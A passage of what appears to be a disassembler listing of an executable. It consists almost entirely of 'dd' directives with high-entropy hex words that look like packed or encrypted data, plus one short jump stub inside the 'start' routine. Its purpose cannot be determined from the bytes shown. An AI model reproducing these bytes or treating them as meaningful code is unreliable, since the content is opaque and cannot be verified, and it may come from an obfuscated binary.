0DFC100BEh, 0D4068156h, 0D0127155h, 24054283h dd 0B88584D7h, 0ACBC2105h, 905B78F4h, 23901ECh, 0ABB6CE0Fh dd 0D78C709Dh, 47C40097h, 18953580h, 0F08B7755h, 0B89038E8h dd 0E8E0FEF3h, 9B272F5Ch, 0BE1844E4h, 83073F2Ch, 202479A3h dd 0BC71669Fh, 8422C44Eh, 3C14C67Eh, 4B011DBDh, 37856E17h dd 0A0202A16h, 4CFEB6h, 0CCCA1335h, 1DB5B0B1h, 404ABE01h dd 0CEA11921h, 0F25F420h, 34BBAE8Ch, 22F97900h, 0E40E626Eh dd 8917FC18h, 0A92810DEh, 0E9900004h, 6A509D3Eh, 4EF04ABDh dd 6FCD450h, 80BCD8BEh, 7D1062B8h, 27E433Bh, 0B49F1588h dd 9474C5BCh, 8B20AA44h, 0ADF58F49h, 215890B9h, 1E4C00B4h dd 0F307CC5Ch, 5700483Bh, 55AEC3D4h, 0E8695189h, 9435006Eh dd 0CBEFDA4Ch, 607B54Bh, 3F2C9010h, 0F56B3131h, 0CC43A1C5h dd 0CD80471h, 0ED2BBC16h, 9A198258h, 7200584Ah, 24129DA1h dd 0D86C12C0h, 0E1E00401h, 0A491A22Bh, 7F3D2730h, 0B75905C4h dd 0F3D6D0D9h, 4828145Ch, 0AC0893D4h, 8C73826Fh, 0D490FC1Fh dd 0ECFAD82Dh, 6139D200h, 76587020h, 3B0D015Ah, 47F24E0Fh dd 0BAA46097h, 1C50DC88h, 4140BBE2h, 0CCB6715Eh, 3066E488h dd 53B9E88Bh, 203613F7h, 33500284h, 4451D5AEh, 0C830A100h dd 1B298A5h, 167C2BC1h, 29F27567h, 3E310FB4h, 820B015Dh dd 93F42227h, 0B28700DCh, 9A0AFA11h, 7A7715C5h, 6D0275E4h dd 0E4B89E72h, 40D474E6h, 0E9F09A89h, 370F1690h, 999ECEh dd 0B8A71741h, 0C9E100BCh, 0FF804869h, 609464B4h, 3941CC40h dd 0D2439FF3h, 66F8E180h, 24A8A097h, 72BA3E83h, 62980F27h dd 2CE2F1ABh, 0A45991D6h, 3890148Ch, 34388843h, 212F700Fh dd 0B947803Eh, 0DF99C96h, 0BBE0E33Dh, 439438B9h, 54215BE4h dd 483DF117h, 0C09D5F1Dh, 0D6FED539h, 9E08FAA6h, 8F6F9049h dd 5FA08D7Ch, 7B67D116h, 24B30628h, 684DCC04h, 80AD8E8Bh dd 5B4B1700h, 3BC89ADFh, 0F9000498h, 845364F1h, 0FC2F4AF8h dd 92C10BEFh, 0F8E47CD9h, 0FBA17400h, 63DE970Dh, 29F51314h dd 12A8A247h, 0A4F094D1h, 0E309A79h, 0E44EF221h, 801759C7h dd 0FB9EC6F8h, 0B6CDCB06h, 903060F7h, 3B3A2E64h, 2B5750FCh dd 2446C600h, 0CDE2FC88h, 0ED350EB8h, 780B7158h, 0EF75E4E4h dd 1D51F900h, 2785D934h, 0DEB30043h, 0C8738DA8h, 0CB0047C3h dd 835FDF20h, 4826AC68h, 8070E014h, 22FAD3FCh, 907DDE25h dd 0A58A54h, 0DDF77EB2h, 0D66370C5h, 2D49BB01h, 0F1FF23EFh dd 32005869h, 0A8FD4816h, 8A0010DBh, 0D09806A1h, 0D88D87h dd 8CC84595h, 0A505194Bh, 906578CAh, 0E9BFB07h, 3ECCF440h dd 0BBC912DAh, 2C10F5B7h, 9A480D8h, 652177h, 0DDAF4250h dd 0A7D79BE7h, 0D87358h, 0DCB71FEAh, 0BF8798h, 762E83EDh dd 0C4BBD017h, 0E385E0B4h, 8825810h, 40387C2Ch, 8AC227D7h dd 0AF548FA0h, 0B6CA1E00h, 0BA85717Ch, 0EF585D8Eh, 50784871h dd 790E2B22h, 7DAEAF46h, 0ECB0B16Fh, 484BE310h, 0C82BA31Fh dd 85246165h, 539C70h, 0B4E578D3h, 7240982Eh, 9022E20Bh dd 0CCF88021h, 0B98F5FAFh, 0C4850000h, 0E4B28609h, 2BB33900h dd 378ED98h, 3CCB053Dh dd 0A455F78Fh, 2D005498h, 46C2C85Ch, 1E5FE9Ah, 0DA9F741Fh dd 3F56852Bh, 1D95BC40h, 17D7BBE6h, 497DF32h, 0B4671C3Fh dd 5200CFA4h, 442CCBD3h, 401475h, 0F885E823h, 836EBF1Eh dd 49266009h, 0E06CD07Fh, 0C5D002B3h, 567242DEh, 9F837476h dd 0D3019CEEh, 0C760CFC3h, 73395B4h, 0A52919EDh, 5018BB87h dd 0B9138835h, 0E408F3B4h, 0A683806Dh, 2E289C50h, 0D4B6DCA4h dd 6175DD40h, 0FADE0215h, 0F974A177h, 1C091EE0h, 0D28C0150h dd 109588B0h, 0BBD2D30h, 321CE979h, 5E0748C4h, 519DB1E4h dd 0CEF0CA90h, 0AF5A0227h, 710B285Bh, 8E8C0EC0h, 0F7000899h dd 8709AC41h, 4F6100E8h, 0C48C0790h, 30B729F8h, 48BC643Ch dd 44820CB1h, 441CE7Ah, 54D1D25Bh, 7055D981h, 28380ABBh dd 0F654E180h, 52E831C4h, 28208B5Bh, 1DE0A0A2h, 0C05185EBh dd 7B4A7869h, 4E0140F9h, 491CAA8Eh, 322F0A25h, 0D0645DC0h dd 4E4B9500h, 19757094h, 10010006h, 5F1B3AB1h, 0A80BD60Dh dd 32F1792Dh, 1E3CC6B4h, 0C05F24D0h, 15AC446Fh, 0EF04130Ah dd 0CAC5D2BDh, 6694C080h, 94109D5Dh, 75009518h, 8C41BF32h dd 57B3E5h, 0A958C04Eh, 0AF712B0Dh, 0ADA31B12h, 43E888h dd 2CB6FFD4h, 1E8FFB19h, 0A840564Eh, 0E322AA17h, 414402ECh dd 66548849h, 0AB00C859h, 139D1562h, 0A1FC01D0h, 0F07BE24h dd 0FDDDF0B3h, 0B42DE4F6h, 0C1E411CBh, 10C4E9A5h, 1C20AA00h dd 0DC3DA64Bh, 9441FFDh, 3BBF0570h, 0D6B18299h, 0FE00D078h dd 0D3575B63h, 2679CFB7h, 40E48EF8h, 6A2C75A6h, 3A2B440Fh dd 2D2940E9h, 0E8B811Eh, 508FED14h, 5CCAB7A0h, 0E05D8F9h dd 231A36Fh, 0B480F4B8h, 0AB74D20Ah, 3416C509h, 0A9D49853h dd 82081D41h, 0C09C806Eh, 3DC633EBh, 81C5CD3Eh, 0A21D24E6h dd 82C0465Fh, 0FD991608h, 71A88ED7h, 68F07100h, 1867055Ah dd 60A60248h, 72EA697Fh, 3DC16CCBh, 0C2D87840h, 52ABBC7Eh dd 76B300D8h, 7F3B3916h, 0DE0175D3h, 0CAC12CA2h, 70638938h dd 0C8A3F100h, 84AC3563h, 9C3F270Eh, 5AA5C279h, 2990E18Dh dd 47F2610h, 0A0576600h, 7BBA5EC1h, 9B8A050Ah, 88F2CDDEh dd 4300BE14h, 2521597Dh, 1127982h, 0E1FC5C06h, 800A8FECh dd 0F1E66379h, 209E37h, 2452DE2Bh, 6C69D8D2h, 117F6700h dd 4532D84h, 95DC9080h, 208B2419h, 474CFCE8h, 4DF057Ch dd 0FCC31767h, 3EF8B86Eh, 1AB40799h, 0D34E2FE5h, 28006954h dd 1D3A3008h, 1EFB742h, 4F470AA0h, 6B16EDB5h, 0A5883405h dd 0FB748087h, 8200CCACh, 0E41784D1h, 0E0095E18h, 9866B50Fh dd 1086E40h, 0CD6CD005h, 23499C14h, 3AEB0718h, 0F41030C9h dd 7004BFDAh, 0BC531614h, 8E3CB2C2h, 5D4F0017h, 72373Bh dd 0C5AD10EEh, 7F4883ACh, 700D80CBh, 6DF71D6Ch, 790EFD8Ah dd 37EE441Dh, 0E1F80EA0h, 663E568Ch, 0BC25FE9Bh, 64A4A3B6h dd 9017C1FEh, 0FC30AD71h, 1F70094Bh, 308218E3h, 28226399h dd 0B6A4C635h, 938B800Ch, 7A4CF6F7h, 77308A04h, 1D40BA06h dd 14EE3446h, 1C4FEF03h, 0EA244258h, 7C4C6D6h, 0DB5CA29Dh dd 8C5A54A5h, 0A90AD140h, 0E052FE17h, 0D9959C00h, 47250Eh dd 54286076h, 3330FBDFh, 0C400C575h, 74A91CA5h, 0E0840134h dd 7D90279h, 41EB997Dh, 0F8801879h, 53A9D6C4h, 0F9B702C7h dd 47526510h, 8F64CCDEh, 2D90E4h, 0C342401h, 9902871Ch dd 0EB5C3E02h, 61A9C74Eh, 8C70CA24h, 206A8A1Eh, 0C4001071h dd 0C8A70A8h, 0DB870007h, 147C78EBh, 3D22287Ah, 4020BE49h dd 1BE3136Fh, 0B1166A02h, 0E022F5D6h, 1AAF73Ch, 83C8C4A8h dd 6A82892Ch, 0A5782820h, 0ED20027h, 9A2124BFh, 949646D3h dd 76B15240h, 71920078h, 0D7DF8917h, 0D8536D8Eh, 9D5A00C4h dd 54C362C0h, 80A633h, 1B6F56ACh, 27692A11h, 3222AB00h dd 0C5EE47D4h, 0DC7A2737h, 44355C04h, 28BC3428h, 584A6B88h dd 0E868861Eh, 3AC99712h, 0E55B1CE0h, 0C653DC20h, 49456D1Eh dd 1440014Bh, 92329834h, 0ACA62Dh, 4C1D76E0h, 89BE0B06h dd 40129702h, 5E070114h, 67C38048h, 0BA3B4DB8h, 209DB5F0h dd 51A12D94h, 49CC1391h, 10A4C864h, 0DA5B1600h, 71540705h dd 7F50C583h, 98F8885Dh, 3E6DE50Ch, 0B5C95018h, 807634BAh dd 12F5A550h, 0A17390D4h, 5D56D4D0h, 3A803CB4h, 0A43B973Eh dd 0A92C010Bh, 0F7840938h, 0E8A4CB96h, 27E1C0C0h, 8FBD37h dd 83FEBF0Bh, 0D7C90D46h, 0DC190524h, 0F1D90107h, 0A89E7ED0h dd 3912004Bh, 867FA1DCh, 77274907h, 2D60E0D8h, 0D6AC132Bh dd 0B36CC228h, 4FA62E20h, 60E63E98h, 6023EF27h, 288A947h dd 0A003C5D4h, 78E504DEh, 3F104C57h, 2BF0C85Ah, 91956107h dd 64C0513Dh, 0F6C29B4h, 2C4C819h, 75E893D7h, 20870E04h dd 7CA2770Ch, 90F72300h, 0B67EACBCh, 0C493DD0Bh, 0C4D91Bh dd 0F6A73E5Bh, 261EF850h, 2102D618h, 5C712CAFh, 0F02547CCh dd 0B53D2B96h, 54661F00h, 0B3D2B931h, 7562D05h, 0BAD888A1h dd 8E5FDCA3h, 0F7F7A424h, 0C78BAA00h, 3343C10h, 2585E981h dd 0A0A0649Bh, 0B074BDABh, 26008B78h, 2E367478h, 6C9099Dh dd 0F392033Ch, 1A5821BAh, 743960CFh, 2840095Dh, 2CE45F60h dd 15639Eh, 13A22962h, 31009280h, 0EC2AAE65h, 3625876Bh dd 40D6C3A3h, 0C4158B1Ch, 5700BAD7h, 0AD5C2EBEh, 0DD9D3F4Ch dd 0B37B6F80h, 9E2558ECh, 985F853Dh, 4789ABBDh, 0B0CBF66Fh dd 0F0FD75DFh, 1FCE0067h, 6A10D659h, 1700584Fh, 1E8CE4D8h dd 0FE9031B7h, 0FBEC06D4h, 490C77C4h, 7EC88558h, 933D3006h dd 1819BDD8h, 0E9924DE5h, 3B000235h, 0E309F742h, 0A8B688h dd 324A9B24h, 35A4FB4Bh, 0F550A200h, 0B9A5C77h, 48D918D3h dd 0F00941A7h, 5F04B47Bh, 4AF6946Fh, 97DE27C0h, 0A080014h dd 0C56CFFBFh, 8CA8772Ch, 0B500BA99h, 0B6D0F47Ch, 1730A3Fh dd 7D8F5C5Dh, 0F8A6A9E2h, 4206B553h, 5E3D6731h, 0A9B0039h dd 4A5AECD8h, 340301CAh, 0E5A9C033h, 0BCC6A120h, 72642980h dd 59294BB5h, 4DE08803h, 0A9D35E07h, 2BFCA201h, 0A4B80EA3h dd 0AA40313Eh, 0B59571E5h, 20FD4470h, 0FB00FFCCh, 6EEC45D9h dd 32859A84h, 33F198EFh, 0BB1AF090h, 1666D400h, 0EDDAF812h dd 2DF98E0h, 0AECBEB4Ch, 0C4900477h, 38F03950h, 9911A566h dd 2B6B14B8h, 0DF01C7B0h, 6FF8F64Eh, 0C078470Ah, 29113165h dd 0C305B5FAh, 0D425EC47h, 2F80086h, 935B1DA2h, 8629ABDFh dd 0F608416h, 406883F9h, 0D4CDF2C0h, 0F30F2C0Dh, 4A92C58Ch dd 0A8181886h, 43E491h, 9897EAC8h, 4CAE9BFh, 0B64FAE03h dd 7AABCADh, 0FA36FF31h, 0E26CB0D7h, 533E15D4h, 23140007h dd 433AA18Bh, 0EB42006Dh, 2DF73325h, 477C8320h, 3E586500h dd 0EEDA33Bh, 0CC570585h, 3F664E4h, 0A7779384h, 48833D92h dd 88E492B0h, 2500A3CCh, 745E3ED2h, 695A2AFh, 932E8F6Ch dd 90031A7h, 0CB30F69Ch, 7A543E6Eh, 0B1BD30FDh, 0AC291E41h dd 8820D00h, 0C80B8930h, 42F305A8h, 4058046Fh, 62023EB8h dd 3B04A2ABh, 1A7B0865h, 0A0AAD482h, 19309834h, 7715009Dh dd 92B8FC45h, 20066A0Fh, 3A3194C8h, 0C0430C2Ch, 0CA595933h dd 3903EF0Fh, 0D02A0AC8h, 0E5AD00BEh, 3047C275h, 0CA9E2C5h dd 9D4D74F3h, 0F006C21h, 7B97FBD5h, 3351899h, 47F098E5h dd 0DDE3FA5Ch, 74C522C0h, 5F178E0Fh, 0E1900533h, 83B99C08h dd 3E043B05h, 0CE49928h dd 8DFBEF00h, 0A99F5477h, 795F24A7h, 398160B4h, 9A394D66h dd 918AB7FCh, 464CF8D0h, 0E0B3504Bh, 327715DBh, 0CA0B8CB4h dd 8585DC02h, 2FA82009h, 0AD0CAE31h, 0F9729244h, 4FF30041h dd 0DDF91486h, 0E8022427h, 92C11370h, 0ADF890F7h, 59DE4Dh dd 5E251B80h, 0AF290B5Ah, 6A80ACC5h, 3FEE0910h, 9F4D22E8h dd 80BFBC0Eh, 0CD29018Dh, 77E135B4h, 2EA75CE8h, 0C64B03h dd 42CF7330h, 45549008h, 0A3005490h, 0E294A59Ch, 90E3FBA0h dd 25AA4448h, 2B4AD71Ch, 0D3A3B700h, 9088ED91h, 46DB1EC8h dd 0A02CD463h, 10225A80h, 0C201A241h, 5D0B3CB8h, 0A180904Dh dd 504E0AF4h, 450087AEh, 58B07CC9h, 9B0418h, 0CD6CFEBEh dd 5A0C6FE9h, 603551CEh, 8ABC04B8h, 8057046Bh, 408948FFh dd 636CCB0Dh, 0ECBD48E7h, 66669Dh, 173B272Eh, 0D428C309h dd 0B828AF9Eh, 53025433h, 0E18F98C8h, 6F84884h, 0E46300BCh dd 0B61EF193h, 671F6B1Ah, 3C899BABh, 43E00045h, 5BBAA2Fh dd 0B2B3102h, 3DA00B4Ch, 40844409h, 65F480C9h, 1A18DAA3h dd 0BA98C4Dh, 0F076E6h, 4C3CE857h, 9521E4A4h, 91732C30h dd 3C2FD14Ah, 6E80E9B2h, 137728BDh, 1B60455Ch, 36B9ADA0h dd 44F309AAh, 0DC1B1E6Fh, 77475B80h, 3D83153h, 9F80D5D4h dd 0A2A00091h, 0ACE54DABh, 4103CB04h, 1B8EAA1Dh, 9EAFC0C5h dd 97E409E3h, 0E0004530h, 65106F23h, 7CE9CC89h, 1C436024h dd 0C001A915h, 831E80F9h, 89F00234h, 0BA849916h, 0C078EC54h dd 0EBC1B5C3h, 2E6600FCh, 0E2BA6F10h, 93007153h, 0ABCE220Fh dd 5F1BC9h, 0D5EA3696h, 0B98AE466h, 5D0AD48h, 61F7936Dh dd 2274EC54h, 0B1BA0098h, 0CAD3DBE4h, 0A30070F7h, 15388A3Eh dd 27E44D5h, 66C32350h, 0C4B02E62h, 1C0224A7h, 0D8DB15E9h dd 0FC462Ah, 6E65EF86h, 61C52B16h, 0A990E4A0h, 5A547400h dd 4D81F2B4h, 6B49C793h, 0E02AD0C2h, 8007167h, 0ABC92214h dd 1638D7h, 0D921CDC0h, 6CE49FEEh, 0BDB56016h, 0EB2A2420h dd 61820057h, 0C22B519Dh, 2F006BF1h, 6D132CD9h, 17E725EFh dd 309D5F73h, 3350D21Ch, 0DCA9DE00h, 30358778h, 8E2F1EC4h dd 2E388B73h, 0C104A48Bh, 2A08CC1Ah, 0CD00B1F6h, 5620300Eh dd 2E88F31h, 0BFAC0A6Bh, 1051A4B5h, 2C8E971Eh, 19B88199h dd 76203DB1h, 608A5CF3h, 280F7522h, 404A364Ch, 8091B665h dd 0F18D1E26h, 0A13A47FAh, 0A097304Bh, 702638A3h, 0CD8030B5h dd 85823225h, 0D438A0BCh, 612D07ADh, 0C055BD4Fh, 0C4CDA8A5h dd 0A4B29413h, 46AE6380h, 0A9C3048Ch, 8052458Dh, 59A274D0h dd 660058B0h, 673B2D8Bh, 3F3934A7h, 0A9E12C85h, 8EFB8FA5h dd 0A0908C12h, 0BA7DAE7h, 0BB79002Ah, 0B86BF243h, 0C4877ABh dd 0BC309270h, 0E6B176C4h, 0A6890059h, 1A5ED720h, 21C09E48h dd 0A2712AE3h, 0FB0302F4h, 0AD5ECF94h, 105900C1h, 162C7D0Ch dd 0A3064FEh, 0D02763h, 0D8013EC4h, 0D10B0A03h, 10F692C0h dd 175F844Ch, 223977C7h, 0D4E9AC94h, 43C44290h, 100CCCE3h dd 69683D4Eh, 0EFCC009Ch, 0A847A556h, 6F0025BDh, 0AC231776h dd 8352E1h, 0F33D14FAh, 0CF7CCA7Dh, 0E020DC09h, 780C812Ch dd 37E0E56Eh, 0B063E01Fh, 0C5DA02C8h, 0BDEA44ABh, 12BA98E1h dd 0E5D4C01Ah, 1E243F4Ch, 4A198731h, 0D0F3D4C2h, 1F3C7B1Eh dd 6CBB3981h, 0CAC86F03h, 7F981430h, 0D32480BCh, 6513ECh dd 0BB06A00h, 0BD50FAD0h, 7CA133C4h, 7C44DA98h, 0A38A0300h dd 5A651918h, 67881ED1h, 2432CFAEh, 145AF24h, 98EBC934h dd 3DF81C35h, 0A641C06Ah, 2D389B8Eh, 791EBD00h, 6C565D2Eh dd 405305AFh, 0C03B090Fh, 0BF73A7B8h, 0B774E0C0h, 0EF608Fh dd 3BE29D5Dh, 0B214B497h, 5F3D9618h, 1A6E159h, 0F68D8C0h dd 0F144A46Eh, 32707234h, 513398C3h, 76119Ch, 0B5D2E025h dd 0DA7112h, 6074F0C9h, 0CE5C6C3Eh, 0A944C890h, 0C367288Dh dd 0C06F078Ah, 0A04314A3h, 0F9521CF3h, 0D4314805h, 0AC402F87h dd 3CAE947h, 0CB7612D1h, 0EF10232Ch, 0A69A2990h, 531F9500h dd 0D29BFCAAh, 483F3B0Fh, 80CDD503h, 0E8123E43h, 58172D50h dd 0A6CBF420h, 3C627B22h, 27F7CA5h, 0D08D160Ch, 3472FE85h dd 0AE806499h, 9A8D88BCh, 12F6023Ch, 0AD334E77h, 0BA847051h dd 0F420F292h, 72640B6Fh, 18814441h, 4C38F092h, 4D808CC8h dd 0AF9C9F91h, 9F21C51h, 0F49279h, 0CA450FA4h, 1B179B1Eh dd 0BC0CC7ACh, 73E71ADh, 8F22BCF9h, 0B0058012h, 1B132CAEh dd 0CC30FB55h, 622563h, 0EA81E1D1h, 0E9B17F67h, 0EFB5570Eh dd 4892E995h, 9B70884h, 0D58CF899h, 6367C800h, 0CB62962Bh dd 724D7824h, 7DE7F6A4h, 0D93A00A9h, 0EF736A11h, 2901553Bh dd 141BC425h, 40329203h, 6F89DB38h, 2D003550h, 0ABE201C9h dd 30B0F0A4h, 6DE5C600h, 0EAF99724h, 93D090ACh, 0E4CC0020h dd 0E566B844h, 28009AFCh, 0BBD08ABh, 13CA0FD4h, 3369CCDh dd 7093B568h, 0E0547900h, 373DED29h, 0F7E2F9h, 0BBC55138h dd 0F285A61Fh, 0A9D19664h, 248044C4h, 3EC0FCE3h, 2728C71Eh dd 5CFF010h, 83E6201Bh, 0CEC88030h, 32770F67h, 5C25EC27h dd 6FE02C6Bh, 38349160h, 4113F3D9h, 0F00754BFh, 4085AED1h dd 31CC28C1h, 41F082DEh, 93EC87FEh, 0C2B9CCh, 53A956E8h dd 69E9FABh, 5B112F05h, 0D8C7AA93h, 0C1162990h, 98040026h dd 0B5E58DEh, 0CAE6B56Ch, 616F803Eh, 9AE58B89h, 7C25F720h dd 701D35D1h, 0DC84D819h, 5621342Eh, 0BCB2BD0Ah, 232A6D8Eh dd 0FB47F557h, 0DC708056h, 20834B59h, 0E13CDA20h, 68CA7200h dd 9B4E62EFh, 63990B54h, 0F081D9B7h, 281017D3h, 3F8780F0h dd 0B863D869h, 6F2F0908h, 8C33C2E8h, 1E4C07B5h, 7F3310DCh dd 5096CB1Fh, 947C068Ah, 444894h, 8921680Eh, 50A3D9F8h dd 1270E8BAh, 2C61DBFh, 3177E634h, 0C0007444h, 633DC40Bh dd 92EB45E3h, 346A4C70h, 11C8132Eh, 941D039Eh, 0F8ED3554h dd 62AAAC43h, 2BD388AEh, 0E096CC78h, 94F22F01h, 3980914Eh dd 0C365B0DFh, 5E48A453h, 1ABF005Ah, 852B0A6Ah, 261491FBh dd 0E2A3C444h, 4C007B14h, 639A6BA9h, 705DD13Ah, 8AF50B60h dd 8498E5E8h, 0F400FB76h, 48DEE7BFh, 169DC6E3h, 0EBB5A82h dd 0BD486718h, 0A3C26480h, 383011F2h, 8700D958h, 0C604679Bh dd 38B8D76Dh, 42B64B00h, 0FA01DCB1h, 0F7662EF1h, 169C2124h dd 9C2400B0h, 0E92D7899h, 42205A16h, 681010h, 7B740F01h dd 148C99Fh, 5CD41EB8h, 0E84705DAh, 14B8E755h, 0BC800312h dd 324B3420h, 79DA0089h, 0FCD8A9EBh, 464C61B7h, 651311A0h dd 3F304D01h, 1184F093h, 9980AE92h, 0D37A5033h, 97FEC424h dd 0F2CE5D00h, 3EF798B2h, 0BDA6CA55h, 0C0391D1Ch, 666E198Ch dd 0C61DA9ACh, 7709AE9Ch, 41D8C2EEh, 0E8425028h, 209E20A7h dd 34399746h, 7C581B8h, 600832FAh, 0CAABECh, 200EFE15h dd 0EF859BE2h, 0A9398F60h, 2870CDA6h, 645F2Ch, 3481DC9h dd 54053FDFh, 62C6F502h, 0E4783877h, 553C80D8h, 40FF002Fh dd 3527A8BBh, 47165FB2h, 6060F3E0h, 3F923A25h, 3E389CE3h dd 0E5141D00h, 38CC4370h, 2CAD605h, 0F4CCB53Dh, 62F20090h dd 0CF605EB7h, 0F901B63Bh, 68F7AD02h, 0A4D8CBFBh, 4C76A0h dd 0EE95543Eh, 57A26AE5h, 20E4C507h, 93C3BA2Bh, 0C2EBEA0Ch dd 0D2E8A150h, 40303DE2h, 6B02845Eh, 0C81C7977h, 345A48h dd 0CDE88E92h, 0EC7CE0C7h dd 0C5A42C00h, 7648A834h, 14550158h, 0F35C2B82h, 0C3B87072h dd 0BAEFF4A1h, 616BB041h, 72468A9h, 0D403F187h, 329AD35Eh dd 8E2BDCF0h, 7C12F301h, 0A345A436h, 4992A8BFh, 8F240828h dd 74DBB8B0h, 549D0294h, 2CB87BF3h, 0CE76DCC4h, 4410500Eh dd 0A222221Fh, 0DD50C062h, 25EB88B2h, 80F12A0Eh, 8435321h dd 0E0B6F7D2h, 0C0FAC3Eh, 0A8BCAD7Eh, 85B00A31h, 0B6BE9500h dd 68761D71h, 60AC0151h, 5C5908F0h, 777C8BBh, 670B649h dd 0BEBDCAFBh, 0EB9C0041h, 6329765Ch, 1A009F37h, 0D7FF654Ah dd 5C9656AAh, 0E43ED393h, 0D3086F13h, 4DD1F338h, 0FDA050A5h dd 0C05E1BEh, 0D1A8522Eh, 8A2175C0h, 0F4200561h, 94456796h dd 7031C06Ch, 0B891C203h, 86532E80h, 17D094C9h, 87CB2C7h dd 82808DF0h, 11EF8C06h, 77380388h, 2DB5605Ch, 1A3B5002h dd 52156F7Ch, 3FB8B964h, 0BBE56880h, 69E122B7h, 0C98DDE00h dd 0DAFBE621h, 29396577h, 0B4E40285h, 98488392h, 0CD0002F7h dd 3AC027A4h, 0A060DAh, 0E2CC22C7h, 0DF062B6Ch, 0AF544400h dd 6FC1CB59h, 290B109h, 2C9DF445h, 0E40B2844h, 5AE0F9h dd 61123664h, 1329002Bh, 109F65DCh, 9401962Eh, 5820A793h dd 0CAC91BF0h, 3A6C8C30h, 910041A1h, 0F1EC18BDh, 0BC5231FEh dd 4910078Ch, 74E08C77h, 5C6CF224h, 440C00BEh, 1B91944Dh dd 16B5D000h, 4B3FB4DCh, 38D50011h, 33530A17h, 0E0B12CE8h dd 60236C0Fh, 73134A77h, 80AF0037h, 1A448DDDh, 0BCA0F357h dd 898B52Fh, 45C50617h, 809D6808h, 2192E4ABh, 0CF130CAAh dd 7C13B53Eh, 38092C30h, 704E01F4h, 0FCD7509Eh, 0E6942041h dd 0D606DC01h, 0B523F34Fh, 637C9830h, 3CC009C2h, 92346811h dd 14C244Fh, 8A1475CDh, 2CA4D855h, 0E317A4B0h, 7C209244h dd 381D8Fh, 99991A1h, 0F141B1D4h, 0D1737C33h, 0AC089446h dd 15903100h, 9A4B2AEh, 0C6428BCCh, 0BBBDC18h, 3C38527Ah dd 3778732h, 0ABA4BF01h, 0C0E0E0C7h, 1CDC76Fh, 0A9C69D7Dh dd 0BCE7B28Dh, 11BAA5C8h, 0C4D42FFCh, 0CB460040h, 5EE00DABh dd 0E4486251h, 1BCD00C4h, 0C953B261h, 80CC9493h, 3652095Fh dd 3E0E2EF8h, 4E725AEh, 6CC0E227h, 0F844630Bh, 936A0031h dd 4C78A0Fh, 2F6041A5h, 0DF506B10h, 923B073Eh, 94ECC3A1h dd 28768231h, 7B094852h, 13B30C7h, 166F4144h, 91DF422h dd 440BB953h, 0B487259Fh, 1635401Ah, 0A602B41Bh, 933473E4h dd 0D806CDFh, 4E6E992Ch, 0DCA2F0C1h, 35A3558h, 0C8203A52h dd 0C428E2B4h, 402C4B4Ch, 0BB01EFFCh, 0AD0B9A3Bh, 548AC687h dd 7B760976h, 1CA5D406h, 0E929F0E8h, 1480D0EBh, 0B7D483FFh dd 3B27EF8h, 92C35552h, 9900BBDEh, 0B404CB41h, 508F1D39h dd 5DD6ACE7h, 33809435h, 1048C3C5h, 0E10F8C04h, 94C8BC77h dd 44BB03F3h, 71EBF1C8h, 3EE08DA8h, 0C5086500h, 0DB92EFCBh dd 0AC4E50DDh, 0D50B8897h, 2A5978C5h, 310010F2h, 6C8415ACh dd 4CB84754h, 35F0422h, 333D5544h, 468FC5ECh, 8000195Ch dd 0FCBF7735h, 74F6024Ch, 634504E4h, 9079932Bh, 0AF676B78h dd 0FCFFD03Fh, 0CDBBBF00h, 0D640A0DBh, 0CC1B018Fh, 0C2FBB5F9h dd 3BE870ABh, 763D22h, 0DF104556h, 0F9C46678h, 7CDAE60Eh dd 0C66FE06Ah, 0EEBE04h, 1A2DB6F2h, 3D77D863h, 0C02828B1h dd 2C88454Ah, 4BD509B4h, 588051CDh, 3722F85Ah, 0C3FBE70Ah dd 0CC13BC47h, 339D2C03h, 62813E5Dh, 2665A181h, 0EBA3BD46h dd 728008BDh, 0F1EAF280h, 31293h, 0C2A5DFEBh, 1B4261B5h dd 0A01E6F25h, 95314408h, 934518C0h, 0C127917Bh, 0F1DFF501h dd 9844F7EEh, 809059F6h, 7A6BBFA6h, 8A00D661h, 60FB17B3h dd 2AC23CBh, 72A171E5h, 0EC78AFE8h, 3D182218h, 92B6D08h dd 486412B0h, 934F8080h, 2894BFD9h, 0D617598h, 7AA800B7h dd 0D739C060h, 2F02AA3Ch, 206B8EE3h, 6940F7F2h, 0F3F873C2h dd 92B54106h, 7D49B8E5h, 9C635CF5h, 77360C05h, 5A00A20Eh dd 47353820h, 729500F8h, 0AA71889Dh, 84025C16h, 4EF670E6h dd 0F4711Fh, 0BEDCE1B4h, 0C90016FBh, 0C132269Bh, 48FE2057h dd 0B6C02843h, 3DB3F0AAh, 0CD903170h, 0C0B05403h, 0A8C86DA7h dd 5CAF775Eh, 5C7A6040h, 9E04AC43h, 52972D85h, 3BFB9C81h dd 9DC25C68h, 287AD992h, 7440EC96h, 0E546F98h, 3465629Dh dd 0C832CA6Fh, 0F13CEDE0h, 74BE026Fh, 97CCA30Ah, 0DBFFFF01h dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4F750E: ; CODE XREF: start:loc_48F265j ; DATA XREF: start:loc_48F086o jmp loc_4FAAC7 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0E6h dd 9B0Fh, 0 dd 44000000h, 77E7A1h, 37000000h, 5390h, 2 dup(0) dd 0F9000000h, 71h, 2 dup(0) dd 6C000000h, 0FFFF9Ch, 4000000h, 0B97FFE03h, 7B51DEh dd 33000000h, 881889h, 0 dd 1000000h, 0 dd 3F000000h, 624336h, 0B0000000h, 22CFFh, 1B000000h, 5223h dd 9 dup(0) dd 36000000h, 0FF363636h, 3B9E5Dh, 3 dup(0) dd 0FC000000h, 8001FCh, 3B000000h, 9C3Eh, 25000000h, 0FFFFAAh dd 4 dup(0) dd 63000000h, 129Eh, 6 dup(0) dd 0C000000h, 2023D00h, 6 dup(0) dd 4000000h, 0B17FFE03h, 0A786E0h, 0Eh dup(0) dd 34000000h, 9EB1h, 2 dup(0) dd 84000000h, 0EC58E0h, 2 dup(0) dd 5B000000h, 0B8000073h, 0F58FA8h, 3 dup(0) dd 0DD000000h, 9C69h, 4 dup(0) dd 0EB000000h, 10h, 4 dup(0) dd 0B000000h, 277F518h, 74000000h, 865559h, 3 dup(0) dd 0EB000000h, 10h, 4 dup(0) dd 69000000h, 52B0h, 2 dup(0) dd 0CD000000h, 535Dh, 3777F500h, 77E7A8h, 3 dup(0) dd 9A000000h, 1009B0Ah, 0 dd 86000000h, 0E1DE5h, 2 dup(0) dd 0FF000000h, 0FFFFFFh, 4 dup(0) dd 1000000h, 37000000h, 5390h, 0 dd 0A5000000h, 543Fh, 3 dup(0) dd 11000000h, 0B0111111h, 